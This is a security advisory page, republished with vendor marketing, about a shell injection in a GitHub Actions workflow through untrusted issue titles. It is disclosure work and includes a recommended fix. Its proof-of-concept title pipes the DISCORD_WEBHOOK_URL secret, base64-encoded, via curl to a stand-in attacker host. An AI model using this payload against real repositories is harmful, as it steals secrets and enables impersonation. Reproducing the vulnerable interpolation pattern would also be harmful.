Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 GitHub Actions

GHSA-f67f-hcr6-94mf

CRITICAL

Zen-AI-Pentest has Shell Injection via untrusted issue title in ZenClaw Discord Integration workflow

Published
Mar 20, 2026
Updated
Mar 20, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

Blast Radius

1 pkg affected
📦SHAdd0WTAka/Zen-Ai-Pentest

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects GitHub Actions packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The ZenClaw Discord Integration GitHub Actions workflow is vulnerable to shell command injection. The issue title field, controllable by any GitHub user, is interpolated directly into a run shell block via a GitHub Actions template expression. An attacker can craft an issue title containing a subshell expression that executes arbitrary commands on the runner during variable assignment, enabling exfiltration of the DISCORD_WEBHOOK_URL secret. The trigger requires no repository privileges.

Affected Component

File: .github/workflows/zenclaw-discord.yml
Commit: 07e65c72656a8213fc9ece2b3f4fc719032cfc5d
URL: https://github.com/SHAdd0WTAka/Zen-Ai-Pentest/blob/07e65c72656a8213fc9ece2b3f4fc719032cfc5d/.github/workflows/zenclaw-discord.yml
Step: Prepare Notification
Trigger: issues: [opened] — no repository privileges required


Description

In the Prepare Notification step, the issue title is assigned to a shell variable using direct GitHub Actions template interpolation inside a case block:

issues)
  ...
  DESCRIPTION="${{ github.event.issue.title }}"
  ;;

The GitHub Actions template engine resolves ${{ github.event.issue.title }} at workflow compilation time, embedding the raw issue title as literal text in the bash script before execution. The value is assigned inside a double-quoted string, which in bash evaluates subshell expressions of the form $(...) and backtick expressions `...` at runtime.

Although a subsequent sanitization step is applied:

DESCRIPTION=$(echo "$DESCRIPTION" | tr '\n' ' ' | cut -c1-1000)

This sanitization runs after the assignment — the subshell in the title has already executed by the time tr and cut process the output. The sanitization is therefore ineffective as a security control against command injection.

The resulting DESCRIPTION value is then written to $GITHUB_OUTPUT:

echo "description=$DESCRIPTION" >> $GITHUB_OUTPUT

This additional write is performed without a multiline-safe delimiter, enabling a secondary $GITHUB_OUTPUT injection if the title contains a newline, which could overwrite downstream output variables such as color or title.


Attack Vector

  1. Any GitHub user (no repository role required) opens an issue with a malicious title.
  2. The issues: opened trigger fires automatically — no human interaction or approval needed.
  3. The subshell expression in the title executes during variable assignment in the Prepare Notification step.
  4. The injected command runs with access to all secrets available to the runner.

Proof of Concept

An attacker opens an issue with the following title:

bug$(curl -s "https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)")

The rendered bash assignment becomes:

DESCRIPTION="bug$(curl -s "https://attacker.example.com/exfil?wh=$(printenv DISCORD_WEBHOOK_URL | base64 -w0)")"

The subshell executes during assignment, sending the base64-encoded DISCORD_WEBHOOK_URL to the attacker's server before the sanitization step runs. The attacker can then use the stolen webhook URL to send arbitrary messages to the Discord channel impersonating the legitimate bot.


Impact

  • Confidentiality (High): Exfiltration of DISCORD_WEBHOOK_URL, granting the attacker the ability to send arbitrary messages to the Discord channel indefinitely, impersonating the ZenClaw bot.
  • Integrity (High): With the webhook URL, an attacker can post false security alerts, fake workflow failure notifications, or misleading status updates to the Discord channel, potentially causing incident response actions based on fabricated data.
  • Availability (None): No direct availability impact.

Recommended Fix

Pass all user-controlled event fields as environment variables and reference them via shell variables in the run block. Never use ${{ }} expressions inside run blocks for user-controlled data.

Vulnerable pattern:

run: |
  DESCRIPTION="${{ github.event.issue.title }}"

Safe pattern — declare in env:, reference as shell variable:

- name: Prepare Notification
  id: prep
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
    COMMIT_MSG: ${{ github.event.head_commit.message }}
    WORKFLOW_NAME: ${{ github.event.workflow_run.name }}
    DISPATCH_MSG: ${{ github.event.inputs.message }}
    EVENT_ACTION: ${{ github.event.action }}
    WORKFLOW_CONCLUSION: ${{ github.event.workflow_run.conclusion }}
  run: |
    case "$EVENT" in
      issues)
        DESCRIPTION="$ISSUE_TITLE"
        ;;
      ...
    esac
    DESCRIPTION=$(echo "$DESCRIPTION" | tr '\n' ' ' | cut -c1-1000)

With values passed through env:, the Actions engine sets them as environment variables before the shell starts. Shell variable references ($ISSUE_TITLE) are expanded by bash at runtime without executing subshell expressions embedded in the value.


References

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
📦GitHub ActionsSHAdd0WTAka/Zen-Ai-Pentestall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for SHAdd0WTAka/Zen-Ai-Pentest. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of SHAdd0WTAka/Zen-Ai-Pentest has shipped for GHSA-f67f-hcr6-94mf yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-f67f-hcr6-94mf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-f67f-hcr6-94mf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `ZenClaw Discord Integration` GitHub Actions workflow is vulnerable to shell command injection. The issue title field, controllable by any GitHub user, is interpolated directly into a `run` shell block via a GitHub Actions template expression. An attacker can craft an issue title containing a subshell expression that executes arbitrary commands on the runner during variable assignment, enabling exfiltration of the `DISCORD_WEBHOOK_URL` secret. The trigger requires no repository privileges. ## Affected Component **File:** `.github/workflows/zenclaw-discord.yml` **Commit:** `
O3 Security · Impact-Aware SCA

Is GHSA-f67f-hcr6-94mf in your dependencies?

O3 detects GHSA-f67f-hcr6-94mf across GitHub Actions dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.